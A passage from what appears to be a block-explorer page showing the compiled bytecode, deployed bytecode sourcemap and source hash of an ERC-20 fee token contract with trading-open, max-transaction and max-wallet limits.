746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610462565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ab45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610462565b6001600160a01b038216610b165760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610462565b6001600160a01b03831660009081526003602052604090205460ff16158015610b5857506001600160a01b03821660009081526003602052604090205460ff16155b15610bb657601154600160a81b900460ff16610bb65760405162461bcd60e51b815260206004820152601a60248201527f7472616e64696e67206973206e6f74206f70656e6564207965740000000000006044820152606401610462565b6000546001600160a01b0384811691161480610bdf57506000546001600160a01b038381169116145b80610bf257506001600160a01b03831630145b80610c0557506001600160a01b03821630145b15610cb2576001600160a01b038316600090815260016020526040902054610c2e908290611740565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c5e908290611753565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a439085815260200190565b6011546000906001600160a01b038581169116148015610ce057506010546001600160a01b03848116911614155b8015610d0557506001600160a01b03831660009081526003602052604090205460ff16155b15610e1b57600c54821115610d5c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610462565b600d5482610d7f856001600160a01b031660009081526001602052604090205490565b610d899190611753565b1115610dd75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610462565b610e036064610dfd600954600b5411610df257600554610df6565b6007545b859061112c565b906111b5565b600b80549192506000610e1583611766565b91905055505b6011546001600160a01b038481169116148015610e5157506001600160a01b03841660009081526003602052604090205460ff16155b15610e7e57610e7b6064610dfd600a54600b5411610e7157600654610df6565b600854859061112c565b90505b306000908152600160205260409020548115610f3e576001600160a01b038516600090815260016020526040902054610eb8908390611740565b6001600160a01b038616600090815260016020526040808220929092553081522054610ee490836111f7565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f359086815260200190565b60405180910390a35b6001600160a01b038516600090815260036020526040902054829060ff1615610f65578392505b601154600160a01b900460ff16158015610f8c57506011546001600160a01b038681169116145b8015610fa15750601154600160a81b900460ff165b8015610fae5750600e5484115b15610fe657600e54821115610fda57610fda610fd585610fd085600f54611256565b611256565b61126b565b47610fe4816110ee565b505b611012610ff38486611740565b6001600160a01b038816600090815260016020526040902054906113e5565b6001600160a01b0387166000908152600160205260409020556110358185611740565b6001600160a01b0386166000908152600160205260408120805490919061105d908490611753565b90915550506001600160a01b038086169087167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61109b87856113e5565b60405190815260200160405180910390a3505050505050565b600081848411156110d85760405162461bcd60e51b81526004016104629190611455565b5060006110e58486611740565b95945050505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611128573d6000803e3d6000fd5b5050565b60008260000361113e575060006103a8565b600061114a8385611687565b905082611157858361177f565b146111ae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610462565b9392505050565b60006111ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611427565b6000806112048385611753565b9050838110156111ae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610462565b600081831161126557826111ae565b50919050565b6011805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112b3576112b36117a1565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561130c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133091906116d3565b81600181518110611343576113436117a1565b6001600160a01b039283166020918202929092010152601054611369913091168461092b565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906113a29085906000908690309042906004016117b7565b600060405180830381600087803b1580156113bc57600080fd5b505af11580156113d0573d6000803e3d6000fd5b50506011805460ff60a01b1916905550505050565b60006111ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110b4565b600081836114485760405162461bcd60e51b81526004016104629190611455565b5060006110e5848661177f565b600060208083528351808285015260005b8181101561148257858101830151858201604001528201611466565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114b857600080fd5b50565b600080604083850312156114ce57600080fd5b82356114d9816114a3565b946020939093013593505050565b6000806000606084860312156114fc57600080fd5b8335611507816114a3565b92506020840135611517816114a3565b929592945050506040919091013590565b60006020828403121561153a57600080fd5b81356111ae816114a3565b6000806040838503121561155857600080fd5b8235611563816114a3565b91506020830135611573816114a3565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115cf5781600019048211156115b5576115b561157e565b808516156115c257918102915b93841c9390800290611599565b509250929050565b6000826115e6575060016103a8565b816115f3575060006103a8565b816001811461160957600281146116135761162f565b60019150506103a8565b60ff8411156116245761162461157e565b50506001821b6103a8565b5060208310610133831016604e8410600b8410161715611652575081810a6103a8565b61165c8383611594565b80600019048211156116705761167061157e565b029392505050565b60006111ae60ff8416836115d7565b80820281158282048414176103a8576103a861157e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116e557600080fd5b81516111ae816114a3565b60008060006060848603121561170557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561173057600080fd5b815180151581146111ae57600080fd5b818103818111156103a8576103a861157e565b808201808211156103a8576103a861157e565b6000600182016117785761177861157e565b5060010190565b60008261179c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118075784516001600160a01b0316835293830193918301916001016117e2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220145a85509faf2c60984a137ce905484079ca0ecee956218cd01cf9a9f76ab92c64736f6c63430008130033

Deployed Bytecode Sourcemap

3933:8167:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4529:83;;;;;;;;;;-1:-1:-1;4599:5:0;;;;;;;;;;;;-1:-1:-1;;;4599:5:0;;;;4529:83;;;;;;;:::i;:::-;;;;;;;;5435:193;;;;;;;;;;-1:-1:-1;5435:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5435:193:0;1023:187:1;6054:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;6054:55:0;1215:177:1;4806:95:0;;;;;;;;;;;;;:::i;6730:446::-;;;;;;;;;;-1:-1:-1;6730:446:0;;;;;:::i;:::-;;:::i;4715:83::-;;;;;;;;;;-1:-1:-1;4715:83:0;;5671:2;2000:36:1;;1988:2;1973:18;4715:83:0;1858:184:1;4909:119:0;;;;;;;;;;-1:-1:-1;4909:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5002:18:0;4975:7;5002:18;;;:9;:18;;;;;;;4909:119;2885:148;;;;;;;;;;;;;:::i;:::-;;11002:119;;;;;;;;;;;;;:::i;5863:56::-;;;;;;;;;;;;;;;;2671:79;;;;;;;;;;-1:-1:-1;2709:7:0;2736:6;2671:79;;-1:-1:-1;;;;;2736:6:0;;;2445:51:1;;2433:2;2418:18;2671:79:0;2299:203:1;5926:58:0;;;;;;;;;;;;;;;;4620:87;;;;;;;;;;-1:-1:-1;4692:7:0;;;;;;;;;;;;-1:-1:-1;;;4692:7:0;;;;4620:87;;5036:199;;;;;;;;;;-1:-1:-1;5036:199:0;;;;;:::i;:::-;;:::i;5991:56::-;;;;;;;;;;;;;;;;10811:183;;;;;;;;;;-1:-1:-1;10811:183:0;;;;;:::i;:::-;;:::i;5243:184::-;;;;;;;;;;-1:-1:-1;5243:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;5392:18:0;;;5360:7;5392:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5243:184;11228:832;;;;;;;;;;;;;:::i;5435:193::-;5537:4;5559:39;291:10;5582:7;5591:6;5559:8;:39::i;:::-;-1:-1:-1;5616:4:0;5435:193;;;;;:::o;4806:95::-;4859:7;5731:13;5671:2;5731;:13;:::i;:::-;5715:29;;:13;:29;:::i;:::-;4879:14;;4806:95;:::o;6730:446::-;6862:4;6879:36;6889:6;6897:9;6908:6;6879:9;:36::i;:::-;6926:220;6949:6;291:10;6997:138;7053:6;6997:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6997:19:0;;;;;;:11;:19;;;;;;;;291:10;6997:33;;;;;;;;;;:37;:138::i;:::-;6926:8;:220::i;:::-;-1:-1:-1;7164:4:0;6730:446;;;;;:::o;2885:148::-;2798:6;;-1:-1:-1;;;;;2798:6:0;291:10;2798:22;2790:67;;;;-1:-1:-1;;;2790:67:0;;;;;;;:::i;:::-;;;;;;;;;2992:1:::1;2976:6:::0;;2955:40:::1;::::0;-1:-1:-1;;;;;2976:6:0;;::::1;::::0;2955:40:::1;::::0;2992:1;;2955:40:::1;3023:1;3006:19:::0;;-1:-1:-1;;;;;;3006:19:0::1;::::0;;2885:148::o;11002:119::-;2798:6;;-1:-1:-1;;;;;2798:6:0;291:10;2798:22;2790:67;;;;-1:-1:-1;;;2790:67:0;;;;;;;:::i;:::-;5731:13:::1;5671:2;5731;:13;:::i;:::-;5715:29;::::0;:13:::1;:29;:::i;:::-;11056:12;:22:::0;5731:13:::1;5671:2;5731;:13;:::i;:::-;5715:29;::::0;:13:::1;:29;:::i;:::-;11089:14;:24:::0;11002:119::o;5036:199::-;5141:4;5163:42;291:10;5187:9;5198:6;5163:9;:42::i;10811:183::-;10900:9;;-1:-1:-1;;;;;10900:9:0;291:10;-1:-1:-1;;;;;10884:25:0;;10876:34;;;;;;10921:35;10934:21;10921:12;:35::i;:::-;10967:9;:19;;-1:-1:-1;;;;;;10967:19:0;-1:-1:-1;;;;;10967:19:0;;;;;;;;;;10811:183::o;11228:832::-;2798:6;;-1:-1:-1;;;;;2798:6:0;291:10;2798:22;2790:67;;;;-1:-1:-1;;;2790:67:0;;;;;;;:::i;:::-;11286:11:::1;::::0;-1:-1:-1;;;11286:11:0;::::1;;;11285:12;11277:48;;;::::0;-1:-1:-1;;;11277:48:0;;5411:2:1;11277:48:0::1;::::0;::::1;5393:21:1::0;5450:2;5430:18;;;5423:30;5489:25;5469:18;;;5462:53;5532:18;;11277:48:0::1;5209:347:1::0;11277:48:0::1;11336:15;:104:::0;;-1:-1:-1;;;;;;11336:104:0::1;11387:42;11336:104:::0;;::::1;::::0;;;11451:58:::1;::::0;11468:4:::1;::::0;5731:13:::1;5671:2;5731;:13;:::i;:::-;5715:29;::::0;:13:::1;:29;:::i;11451:58::-;11554:15;;;;;;;;;-1:-1:-1::0;;;;;11554:15:0::1;-1:-1:-1::0;;;;;11554:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11536:55:0::1;;11614:4;11634:15;;;;;;;;;-1:-1:-1::0;;;;;11634:15:0::1;-1:-1:-1::0;;;;;11634:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11536:131;::::0;-1:-1:-1;;;;;;11536:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6047:15:1;;;11536:131:0::1;::::0;::::1;6029:34:1::0;6099:15;;6079:18;;;6072:43;5964:18;;11536:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11520:13;:147:::0;;-1:-1:-1;;;;;11520:147:0;;::::1;-1:-1:-1::0;;;;;;11520:147:0;;::::1;;::::0;;11678:15:::1;::::0;::::1;:31;11717:21;11762:4;11782:24;11762:4:::0;-1:-1:-1;;;;;5002:18:0;4975:7;5002:18;;;:9;:18;;;;;;;4909:119;11782:24:::1;11821:1;11837::::0;11853:7:::1;2709::::0;2736:6;-1:-1:-1;;;;;2736:6:0;;2671:79;11853:7:::1;11678:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11678:223:0;;;-1:-1:-1;;;;;6485:15:1;;;11678:223:0::1;::::0;::::1;6467:34:1::0;6517:18;;;6510:34;;;;6560:18;;;6553:34;;;;6603:18;;;6596:34;6667:15;;;6646:19;;;6639:44;11875:15:0::1;6699:19:1::0;;;6692:35;6401:19;;11678:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11919:13:0::1;::::0;11964:15:::1;::::0;11912:111:::1;::::0;-1:-1:-1;;;11912:111:0;;-1:-1:-1;;;;;11964:15:0;;::::1;11912:111;::::0;::::1;7223:51:1::0;-1:-1:-1;;7290:18:1;;;7283:34;11919:13:0;::::1;::::0;-1:-1:-1;11912:29:0::1;::::0;7196:18:1;;11912:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12034:11:0::1;:18:::0;;-1:-1:-1;;;;12034:18:0::1;-1:-1:-1::0;;;12034:18:0::1;::::0;;11228:832::o;7184:369::-;-1:-1:-1;;;;;7311:19:0;;7303:68;;;;-1:-1:-1;;;7303:68:0;;7812:2:1;7303:68:0;;;7794:21:1;7851:2;7831:18;;;7824:30;7890:34;7870:18;;;7863:62;-1:-1:-1;;;7941:18:1;;;7934:34;7985:19;;7303:68:0;7610:400:1;7303:68:0;-1:-1:-1;;;;;7390:21:0;;7382:68;;;;-1:-1:-1;;;7382:68:0;;8217:2:1;7382:68:0;;;8199:21:1;8256:2;8236:18;;;8229:30;8295:34;8275:18;;;8268:62;-1:-1:-1;;;8346:18:1;;;8339:32;8388:19;;7382:68:0;8015:398:1;7382:68:0;-1:-1:-1;;;;;7461:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7513:32;;1361:25:1;;;7513:32:0;;1334:18:1;7513:32:0;;;;;;;;7184:369;;;:::o;7561:2435::-;-1:-1:-1;;;;;7683:18:0;;7675:68;;;;-1:-1:-1;;;7675:68:0;;8620:2:1;7675:68:0;;;8602:21:1;8659:2;8639:18;;;8632:30;8698:34;8678:18;;;8671:62;-1:-1:-1;;;8749:18:1;;;8742:35;8794:19;;7675:68:0;8418:401:1;7675:68:0;-1:-1:-1;;;;;7762:16:0;;7754:64;;;;-1:-1:-1;;;7754:64:0;;9026:2:1;7754:64:0;;;9008:21:1;9065:2;9045:18;;;9038:30;9104:34;9084:18;;;9077:62;-1:-1:-1;;;9155:18:1;;;9148:33;9198:19;;7754:64:0;8824:399:1;7754:64:0;-1:-1:-1;;;;;7909:24:0;;;;;;:18;:24;;;;;;;;7908:25;:52;;;;-1:-1:-1;;;;;;7938:22:0;;;;;;:18;:22;;;;;;;;7937:23;7908:52;7905:120;;;7983:11;;-1:-1:-1;;;7983:11:0;;;;7975:50;;;;-1:-1:-1;;;7975:50:0;;9840:2:1;7975:50:0;;;9822:21:1;9879:2;9859:18;;;9852:30;9918:28;9898:18;;;9891:56;9964:18;;7975:50:0;9638:350:1;7975:50:0;2709:7;2736:6;-1:-1:-1;;;;;8039:15:0;;;2736:6;;8039:15;;:32;;-1:-1:-1;2709:7:0;2736:6;-1:-1:-1;;;;;8058:13:0;;;2736:6;;8058:13;8039:32;:57;;;-1:-1:-1;;;;;;8075:21:0;;8091:4;8075:21;8039:57;:80;;;-1:-1:-1;;;;;;8100:19:0;;8114:4;8100:19;8039:80;8036:273;;;-1:-1:-1;;;;;8153:15:0;;;;;;:9;:15;;;;;;:24;;8171:6;;8153:24;:::i;:::-;-1:-1:-1;;;;;8135:15:0;;;;;;;:9;:15;;;;;;:42;;;;8208:13;;;;;;;:22;;8224:6;;8208:22;:::i;:::-;-1:-1:-1;;;;;8192:13:0;;;;;;;:9;:13;;;;;;;:38;;;;8250:26;;;;;;;;;;8269:6;1361:25:1;;1349:2;1334:18;;1215:177;8036:273:0;8379:13;;8319:17;;-1:-1:-1;;;;;8371:21:0;;;8379:13;;8371:21;:68;;;;-1:-1:-1;8423:15:0;;-1:-1:-1;;;;;8409:30:0;;;8423:15;;8409:30;;8371:68;:108;;;;-1:-1:-1;;;;;;8457:22:0;;;;;;:18;:22;;;;;;;;8456:23;8371:108;8353:452;;;8524:12;;8514:6;:22;;8506:60;;;;-1:-1:-1;;;8506:60:0;;10458:2:1;8506:60:0;;;10440:21:1;10497:2;10477:18;;;10470:30;10536:27;10516:18;;;10509:55;10581:18;;8506:60:0;10256:349:1;8506:60:0;8615:14;;8605:6;8589:13;8599:2;-1:-1:-1;;;;;5002:18:0;4975:7;5002:18;;;:9;:18;;;;;;;4909:119;8589:13;:22;;;;:::i;:::-;:40;;8581:79;;;;-1:-1:-1;;;8581:79:0;;10812:2:1;8581:79:0;;;10794:21:1;10851:2;10831:18;;;10824:30;10890:28;10870:18;;;10863:56;10936:18;;8581:79:0;10610:350:1;8581:79:0;8687:80;8763:3;8687:71;8711:15;;8699:9;;:27;8698:59;;8743:14;;8698:59;;;8729:12;;8698:59;8687:6;;:10;:71::i;:::-;:75;;:80::i;:::-;8782:9;:11;;8675:92;;-1:-1:-1;8782:9:0;:11;;;:::i;:::-;;;;;;8353:452;8827:13;;-1:-1:-1;;;;;8821:19:0;;;8827:13;;8821:19;:48;;;;-1:-1:-1;;;;;;8845:24:0;;;;;;:18;:24;;;;;;;;8844:25;8821:48;8817:176;;;8898:83;8977:3;8898:74;8922:16;;8910:9;;:28;8909:62;;8956:15;;8909:62;;;8941:13;;8898:6;;:10;:74::i;:83::-;8886:95;;8817:176;9052:4;9003:28;5002:18;;;:9;:18;;;;;;9073:13;;9069:232;;-1:-1:-1;;;;;9121:15:0;;;;;;:9;:15;;;;;;:27;;9139:9;;9121:27;:::i;:::-;-1:-1:-1;;;;;9103:15:0;;;;;;:9;:15;;;;;;:45;;;;9208:4;9190:24;;;;:39;;9219:9;9190:28;:39::i;:::-;9181:4;9163:24;;;;:9;:24;;;;;;;:66;;;;9249:40;;-1:-1:-1;;;;;9249:40:0;;;;;;;9279:9;1361:25:1;;1349:2;1334:18;;1215:177;9249:40:0;;;;;;;;9069:232;-1:-1:-1;;;;;9348:24:0;;9311:11;9348:24;;;:18;:24;;;;;;9325:9;;9348:24;;9345:47;;;9386:6;9374:18;;9345:47;9432:6;;-1:-1:-1;;;9432:6:0;;;;9431:7;:43;;;;-1:-1:-1;9461:13:0;;-1:-1:-1;;;;;9455:19:0;;;9461:13;;9455:19;9431:43;:71;;;;-1:-1:-1;9491:11:0;;-1:-1:-1;;;9491:11:0;;;;9431:71;:114;;;;;9528:17;;9519:6;:26;9431:114;9413:415;;;9599:17;;9576:20;:40;9572:132;;;9635:69;9652:51;9656:6;9664:38;9668:20;9690:11;;9664:3;:38::i;:::-;9652:3;:51::i;:::-;9635:16;:69::i;:::-;9748:21;9784:32;9748:21;9784:12;:32::i;:::-;9557:271;9413:415;9858:39;9879:16;9886:9;9879:6;:16;:::i;:::-;-1:-1:-1;;;;;9858:15:0;;;;;;:9;:15;;;;;;;:19;:39::i;:::-;-1:-1:-1;;;;;9840:15:0;;;;;;:9;:15;;;;;:57;9925:12;9934:3;9925:6;:12;:::i;:::-;-1:-1:-1;;;;;9908:13:0;;;;;;:9;:13;;;;;:29;;:13;;;:29;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;9953:35:0;;;;;;;9972:15;:6;9983:3;9972:10;:15::i;:::-;9953:35;;1361:25:1;;;1349:2;1334:18;9953:35:0;;;;;;;7664:2332;;;7561:2435;;;:::o;1473:224::-;1593:7;1629:12;1621:6;;;;1613:29;;;;-1:-1:-1;;;1613:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1653:9:0;1665:5;1669:1;1665;:5;:::i;:::-;1653:17;1473:224;-1:-1:-1;;;;;1473:224:0:o;11129:91::-;11186:9;;:26;;-1:-1:-1;;;;;11186:9:0;;;;:26;;;;;11205:6;;11186:9;:26;:9;:26;11205:6;11186:9;:26;;;;;;;;;;;;;;;;;;;;;11129:91;:::o;1705:246::-;1763:7;1787:1;1792;1787:6;1783:47;;-1:-1:-1;1817:1:0;1810:8;;1783:47;1840:9;1852:5;1856:1;1852;:5;:::i;:::-;1840:17;-1:-1:-1;1885:1:0;1876:5;1880:1;1840:17;1876:5;:::i;:::-;:10;1868:56;;;;-1:-1:-1;;;1868:56:0;;11529:2:1;1868:56:0;;;11511:21:1;11568:2;11548:18;;;11541:30;11607:34;11587:18;;;11580:62;-1:-1:-1;;;11658:18:1;;;11651:31;11699:19;;1868:56:0;11327:397:1;1868:56:0;1942:1;1705:246;-1:-1:-1;;;1705:246:0:o;1959:132::-;2017:7;2044:39;2048:1;2051;2044:39;;;;;;;;;;;;;;;;;:3;:39::i;1142:179::-;1200:7;;1232:5;1236:1;1232;:5;:::i;:::-;1220:17;;1261:1;1256;:6;;1248:46;;;;-1:-1:-1;;;1248:46:0;;11931:2:1;1248:46:0;;;11913:21:1;11970:2;11950:18;;;11943:30;12009:29;11989:18;;;11982:57;12056:18;;1248:46:0;11729:351:1;10205:107:0;10262:7;10294:1;10290;:5;10289:15;;10303:1;10289:15;;;-1:-1:-1;10299:1:0;10205:107;-1:-1:-1;10205:107:0:o;10320:483::-;6312:6;:13;;-1:-1:-1;;;;6312:13:0;-1:-1:-1;;;6312:13:0;;;10422:16:::1;::::0;;10436:1:::1;10422:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10422:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10422:16:0::1;10398:40;;10467:4;10449;10454:1;10449:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10449:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10493:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10493:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10449:7;;10493:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10483:4;10488:1;10483:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10483:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10558:15:::1;::::0;10526:62:::1;::::0;10543:4:::1;::::0;10558:15:::1;10576:11:::0;10526:8:::1;:62::i;:::-;10599:15;::::0;:196:::1;::::0;-1:-1:-1;;;10599:196:0;;-1:-1:-1;;;;;10599:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10680:11;;10599:15:::1;::::0;10722:4;;10749::::1;::::0;10769:15:::1;::::0;10599:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6348:6:0;:14;;-1:-1:-1;;;;6348:14:0;;;-1:-1:-1;;;;10320:483:0:o;1329:136::-;1387:7;1414:43;1418:1;1421;1414:43;;;;;;;;;;;;;;;;;:3;:43::i;2099:223::-;2219:7;2254:12;2247:5;2239:28;;;;-1:-1:-1;;;2239:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2278:9:0;2290:5;2294:1;2290;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2767:388::-;2835:6;2843;2896:2;2884:9;2875:7;2871:23;2867:32;2864:52;;;2912:1;2909;2902:12;2864:52;2951:9;2938:23;2970:31;2995:5;2970:31;:::i;:::-;3020:5;-1:-1:-1;3077:2:1;3062:18;;3049:32;3090:33;3049:32;3090:33;:::i;:::-;3142:7;3132:17;;;2767:388;;;;;:::o;3160:127::-;3221:10;3216:3;3212:20;3209:1;3202:31;3252:4;3249:1;3242:15;3276:4;3273:1;3266:15;3292:422;3381:1;3424:5;3381:1;3438:270;3459:7;3449:8;3446:21;3438:270;;;3518:4;3514:1;3510:6;3506:17;3500:4;3497:27;3494:53;;;3527:18;;:::i;:::-;3577:7;3567:8;3563:22;3560:55;;;3597:16;;;;3560:55;3676:22;;;;3636:15;;;;3438:270;;;3442:3;3292:422;;;;;:::o;3719:806::-;3768:5;3798:8;3788:80;;-1:-1:-1;3839:1:1;3853:5;;3788:80;3887:4;3877:76;;-1:-1:-1;3924:1:1;3938:5;;3877:76;3969:4;3987:1;3982:59;;;;4055:1;4050:130;;;;3962:218;;3982:59;4012:1;4003:10;;4026:5;;;4050:130;4087:3;4077:8;4074:17;4071:43;;;4094:18;;:::i;:::-;-1:-1:-1;;4150:1:1;4136:16;;4165:5;;3962:218;;4264:2;4254:8;4251:16;4245:3;4239:4;4236:13;4232:36;4226:2;4216:8;4213:16;4208:2;4202:4;4199:12;4195:35;4192:77;4189:159;;;-1:-1:-1;4301:19:1;;;4333:5;;4189:159;4380:34;4405:8;4399:4;4380:34;:::i;:::-;4450:6;4446:1;4442:6;4438:19;4429:7;4426:32;4423:58;;;4461:18;;:::i;:::-;4499:20;;3719:806;-1:-1:-1;;;3719:806:1:o;4530:140::-;4588:5;4617:47;4658:4;4648:8;4644:19;4638:4;4617:47;:::i;4675:168::-;4748:9;;;4779;;4796:15;;;4790:22;;4776:37;4766:71;;4817:18;;:::i;4848:356::-;5050:2;5032:21;;;5069:18;;;5062:30;5128:34;5123:2;5108:18;;5101:62;5195:2;5180:18;;4848:356::o;5561:251::-;5631:6;5684:2;5672:9;5663:7;5659:23;5655:32;5652:52;;;5700:1;5697;5690:12;5652:52;5732:9;5726:16;5751:31;5776:5;5751:31;:::i;6738:306::-;6826:6;6834;6842;6895:2;6883:9;6874:7;6870:23;6866:32;6863:52;;;6911:1;6908;6901:12;6863:52;6940:9;6934:16;6924:26;;6990:2;6979:9;6975:18;6969:25;6959:35;;7034:2;7023:9;7019:18;7013:25;7003:35;;6738:306;;;;;:::o;7328:277::-;7395:6;7448:2;7436:9;7427:7;7423:23;7419:32;7416:52;;;7464:1;7461;7454:12;7416:52;7496:9;7490:16;7549:5;7542:13;7535:21;7528:5;7525:32;7515:60;;7571:1;7568;7561:12;9993:128;10060:9;;;10081:11;;;10078:37;;;10095:18;;:::i;10126:125::-;10191:9;;;10212:10;;;10209:36;;;10225:18;;:::i;10965:135::-;11004:3;11025:17;;;11022:43;;11045:18;;:::i;:::-;-1:-1:-1;11092:1:1;11081:13;;10965:135::o;11105:217::-;11145:1;11171;11161:132;;11215:10;11210:3;11206:20;11203:1;11196:31;11250:4;11247:1;11240:15;11278:4;11275:1;11268:15;11161:132;-1:-1:-1;11307:9:1;;11105:217::o;12217:127::-;12278:10;12273:3;12269:20;12266:1;12259:31;12309:4;12306:1;12299:15;12333:4;12330:1;12323:15;12349:980;12611:4;12659:3;12648:9;12644:19;12690:6;12679:9;12672:25;12716:2;12754:6;12749:2;12738:9;12734:18;12727:34;12797:3;12792:2;12781:9;12777:18;12770:31;12821:6;12856;12850:13;12887:6;12879;12872:22;12925:3;12914:9;12910:19;12903:26;;12964:2;12956:6;12952:15;12938:29;;12985:1;12995:195;13009:6;13006:1;13003:13;12995:195;;;13074:13;;-1:-1:-1;;;;;13070:39:1;13058:52;;13165:15;;;;13130:12;;;;13106:1;13024:9;12995:195;;;-1:-1:-1;;;;;;;13246:32:1;;;;13241:2;13226:18;;13219:60;-1:-1:-1;;;13310:3:1;13295:19;13288:35;13207:3;12349:980;-1:-1:-1;;;12349:980:1:o

Swarm Source

ipfs://145a85509faf2c60984a137ce905484079ca0ecee956218cd01cf9a9f76ab92c
Loading...
Loading
Loading...
